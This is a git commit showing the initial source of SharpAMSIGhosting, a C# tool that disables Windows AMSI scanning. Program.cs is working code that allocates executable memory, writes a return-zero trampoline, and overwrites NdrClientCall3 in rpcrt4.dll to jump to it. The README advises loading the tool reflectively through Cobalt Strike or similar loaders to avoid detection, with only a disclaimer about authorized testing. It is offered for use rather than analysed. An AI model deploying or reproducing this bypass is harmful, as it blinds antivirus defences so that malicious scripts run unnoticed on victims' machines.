aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorheqnx <root@heqnx.com>2025-05-02 13:06:42 +0300
committerheqnx <root@heqnx.com>2025-05-02 13:06:42 +0300
commit769db61e21ff9a1456d9b695375e0b5f1c0d9d36 (patch)
treec156c434818100dfb3cb28f7e8d79fa527eea024
parenta7e23d3084405f78ca1e4dbf44feffc7d85ac133 (diff)
downloadSharpAMSIGhosting-769db61e21ff9a1456d9b695375e0b5f1c0d9d36.tar.gz
SharpAMSIGhosting-769db61e21ff9a1456d9b695375e0b5f1c0d9d36.zip
initial commit
-rw-r--r--README.md70
-rw-r--r--SharpAMSIGhosting.sln37
-rw-r--r--SharpAMSIGhosting/App.config6
-rw-r--r--SharpAMSIGhosting/Program.cs108
-rw-r--r--SharpAMSIGhosting/Properties/AssemblyInfo.cs33
-rw-r--r--SharpAMSIGhosting/SharpAMSIGhosting.csproj98
6 files changed, 352 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..4f2a40a
--- /dev/null
+++ b/README.md
@@ -0,0 +1,70 @@
+# SharpAMSIGhosting
+
+`SharpAMSIGhosting` is a C# port of the AMSI bypass technique originally developed and documented by Andrea Bocchetti in the article, ["Ghosting AMSI: Cutting RPC to Disarm AV"](https://medium.com/@andreabocchetti88/ghosting-amsi-cutting-rpc-to-disarm-av-04c26d67bb80). Full credit goes to Andrea Bocchetti for pioneering this method, which patches `NdrClientCall3` in `rpcrt4.dll`, redirecting execution to a trampoline to disable AMSI scanning. This implementation adapts the technique into a reflective C# assembly for use in .NET-based offensive security tools.
+
+Additional resources and contributions by Andrea Bocchetti can be found on [Packet Storm Security](https://packetstormsecurity.com/files/author/7655/) and [Exploit-DB](https://www.exploit-db.com/?author=7413).
+
+
+> **WARNING**: This tool is for **authorized security testing only**. Unauthorized use may violate laws and regulations. The author and contributors are not responsible for misuse. Always obtain explicit permission before testing any system.
+
+## Features
+
+- **AMSI Bypass**: Patches `NdrClientCall3` in `rpcrt4.dll` to disable AMSI scanning.
+- **Memory Manipulation**: Uses `VirtualAlloc`, `VirtualProtect`, and `FlushInstructionCache` for runtime memory modifications.
+- **Trampoline Hook**: Redirects function execution to a custom trampoline (`mov eax, 0; ret`).
+- **Reflective Assembly**: Designed to run as a reflective assembly for in-memory execution.
+
+## Installation
+
+### Prerequisites
+
+- **.NET Framework**: Version 4.7.2 or later.
+- **Visual Studio or MSBuild**: For compiling the C# source code.
+- **Git**: To clone the repository.
+- **Windows**: Compatible with Windows 10/11
+- **Reflective Loader**: A tool like `go-assembly-ldr` or Cobalt Strike to load the assembly reflectively.
+
+### Steps
+
+- Clone the repository:
+
+```
+PS C:\> git clone https://github.com/heqnx/SharpAMSIGhosting.git
+PS C:\> cd SharpAMSIGhosting
+```
+
+- Compile the source code with Visual Studio by opening `SharpAMSIGhosting.sln`
+
+- Alternatively, compile with MSBuild:
+
+```
+PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SharpAMSIGhosting.csproj
+```
+
+### Running as a Reflective Assembly
+
+The `SharpAMSIGhosting` code must be executed as a reflective assembly to function correctly. This typically involves:
+
+1. Compiling the C# code into an executable or DLL.
+2. Using a reflective loader (e.g., PowerShell, MSBuild, or InstallUtil loader from `go-assembly-ldr`, or `execute-assembly` from CS) to inject the assembly into memory.
+3. Executing the `Main` or `Execute` method to perform the AMSI bypass.
+
+## Notes
+
+- **Reflective Execution**: The tool relies on reflective loading to avoid disk-based detection. Ensure your loader supports .NET assemblies.
+- **System Requirements**: The target system must have `rpcrt4.dll`.
+- **Detection Risk**: While the tool aims to evade AMSI, modern EDR solutions may detect memory manipulation or hooking behavior.
+
+## Automated Releases
+
+Check the GitHub Releases page for the new release with attached binaries.
+
+## License
+
+This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the LICENSE file for details.
+
+## Disclaimer
+
+`SharpAMSIGhosting` is provided "as is" without warranty. The author and contributors are not liable for any damages or legal consequences arising from its use. Use responsibly and only in authorized environments.
+
+
diff --git a/SharpAMSIGhosting.sln b/SharpAMSIGhosting.sln
new file mode 100644
index 0000000..d7e0e9e
--- /dev/null
+++ b/SharpAMSIGhosting.sln
@@ -0,0 +1,37 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.13.35931.197 d17.13
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpAMSIGhosting", "SharpAMSIGhosting\SharpAMSIGhosting.csproj", "{8A92D4B7-C956-445D-9F51-3287FDC7F522}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|Any CPU = Release|Any CPU
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x64 CPU.ActiveCfg = Debug|x64
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x64 CPU.Build.0 = Debug|x64
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x86 CPU.ActiveCfg = Debug|x86
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x86 CPU.Build.0 = Debug|x86
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|Any CPU.Build.0 = Release|Any CPU
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x64 CPU.ActiveCfg = Release|x64
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x64 CPU.Build.0 = Release|x64
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x86 CPU.ActiveCfg = Release|x86
+ {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x86 CPU.Build.0 = Release|x86
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {BE36A9FC-9412-4596-84C2-1D5F4E056CA2}
+ EndGlobalSection
+EndGlobal
diff --git a/SharpAMSIGhosting/App.config b/SharpAMSIGhosting/App.config
new file mode 100644
index 0000000..5754728
--- /dev/null
+++ b/SharpAMSIGhosting/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+ <startup>
+ <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
+ </startup>
+</configuration> \ No newline at end of file
diff --git a/SharpAMSIGhosting/Program.cs b/SharpAMSIGhosting/Program.cs
new file mode 100644
index 0000000..75fb518
--- /dev/null
+++ b/SharpAMSIGhosting/Program.cs
@@ -0,0 +1,108 @@
+using System;
+using System.Linq;
+using System.Runtime.InteropServices;
+
+namespace AmsiGhost
+{
+ public class Mem
+ {
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr LoadLibrary(string name);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr GetCurrentProcess();
+ }
+
+ public class Program
+ {
+ private const uint PAGE_EXECUTE_READWRITE = 0x40;
+ private const uint MEM_COMMIT = 0x1000;
+ private const uint MEM_RESERVE = 0x2000;
+ private const uint PATCH_SIZE = 12;
+
+ public static void Main(string[] args)
+ {
+ Execute();
+ }
+
+ public static void Execute()
+ {
+ try
+ {
+ Console.WriteLine("[*] Starting AMSI ghosting");
+
+ UIntPtr size = new UIntPtr(0x1000);
+ IntPtr trampoline = Mem.VirtualAlloc(IntPtr.Zero, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+
+ if (trampoline == IntPtr.Zero)
+ {
+ Console.WriteLine("[-] Failed to allocate trampoline");
+ return;
+ }
+ Console.WriteLine($"[+] Trampoline allocated at 0x{trampoline.ToInt64():X}");
+
+ byte[] hook = new byte[] { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
+ Marshal.Copy(hook, 0, trampoline, hook.Length);
+ Console.WriteLine("[+] Hook written to trampoline");
+
+ UIntPtr len = new UIntPtr((uint)hook.Length);
+ Mem.FlushInstructionCache(Mem.GetCurrentProcess(), trampoline, len);
+ Console.WriteLine("[+] Instruction cache flushed");
+
+ IntPtr lib = Mem.LoadLibrary("rpcrt4.dll");
+ if (lib == IntPtr.Zero)
+ {
+ Console.WriteLine("[-] Failed to load rpcrt4.dll");
+ return;
+ }
+ Console.WriteLine($"[+] rpcrt4.dll loaded at 0x{lib.ToInt64():X}");
+
+ IntPtr func = Mem.GetProcAddress(lib, "NdrClientCall3");
+ if (func == IntPtr.Zero)
+ {
+ Console.WriteLine("[-] Failed to resolve NdrClientCall3");
+ return;
+ }
+ else
+ {
+ Console.WriteLine($"[+] NdrClientCall3 resolved at 0x{func.ToInt64():X}");
+ }
+
+ uint oldProtect;
+ bool protectResult = Mem.VirtualProtect(func, new UIntPtr(PATCH_SIZE), PAGE_EXECUTE_READWRITE, out oldProtect);
+ if (!protectResult)
+ {
+ Console.WriteLine($"[-] Failed to unprotect {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")} memory");
+ return;
+ }
+ Console.WriteLine($"[+] {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")} memory unprotected");
+
+ long trampAddr = trampoline.ToInt64();
+ byte[] patch = new byte[] { 0x48, 0xB8 }
+ .Concat(BitConverter.GetBytes(trampAddr))
+ .Concat(new byte[] { 0xFF, 0xE0 })
+ .ToArray();
+ Marshal.Copy(patch, 0, func, patch.Length);
+ Console.WriteLine($"[+] Patch written to {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")}");
+
+ Console.WriteLine($"[+] {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")} patched - AMSI Ghosting");
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine($"[-] Error: {ex.Message}");
+ }
+ }
+ }
+}
diff --git a/SharpAMSIGhosting/Properties/AssemblyInfo.cs b/SharpAMSIGhosting/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..f9e131a
--- /dev/null
+++ b/SharpAMSIGhosting/Properties/AssemblyInfo.cs
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SharpAMSIGhosting")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("SharpAMSIGhosting")]
+[assembly: AssemblyCopyright("Copyright © 2025")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("8a92d4b7-c956-445d-9f51-3287fdc7f522")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/SharpAMSIGhosting/SharpAMSIGhosting.csproj b/SharpAMSIGhosting/SharpAMSIGhosting.csproj
new file mode 100644
index 0000000..a5a4f96
--- /dev/null
+++ b/SharpAMSIGhosting/SharpAMSIGhosting.csproj
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+ <PropertyGroup>
+ <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+ <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+ <ProjectGuid>{8A92D4B7-C956-445D-9F51-3287FDC7F522}</ProjectGuid>
+ <OutputType>Exe</OutputType>
+ <RootNamespace>SharpAMSIGhosting</RootNamespace>
+ <AssemblyName>SharpAMSIGhosting</AssemblyName>
+ <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
+ <FileAlignment>512</FileAlignment>
+ <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
+ <Deterministic>true</Deterministic>
+ <Platforms>AnyCPU;x64;x86</Platforms>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+ <PlatformTarget>AnyCPU</PlatformTarget>
+ <DebugSymbols>true</DebugSymbols>
+ <DebugType>full</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\Debug\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+ <PlatformTarget>AnyCPU</PlatformTarget>
+ <DebugType>pdbonly</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\Release\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x64' ">
+ <PlatformTarget>x64</PlatformTarget>
+ <DebugSymbols>true</DebugSymbols>
+ <DebugType>full</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\x64\Debug\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x64' ">
+ <PlatformTarget>x64</PlatformTarget>
+ <DebugType>pdbonly</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\x64\Release\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
+ <PlatformTarget>x86</PlatformTarget>
+ <DebugSymbols>true</DebugSymbols>
+ <DebugType>full</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\x86\Debug\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
+ <PlatformTarget>x86</PlatformTarget>
+ <DebugType>pdbonly</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\x86\Release\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+ </PropertyGroup>
+ <ItemGroup>
+ <Reference Include="System" />
+ <Reference Include="System.Core" />
+ <Reference Include="System.Xml.Linq" />
+ <Reference Include="System.Data.DataSetExtensions" />
+ <Reference Include="Microsoft.CSharp" />
+ <Reference Include="System.Data" />
+ <Reference Include="System.Net.Http" />
+ <Reference Include="System.Xml" />
+ </ItemGroup>
+ <ItemGroup>
+ <Compile Include="Program.cs" />
+ <Compile Include="Properties\AssemblyInfo.cs" />
+ </ItemGroup>
+ <ItemGroup>
+ <None Include="App.config" />
+ </ItemGroup>
+ <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>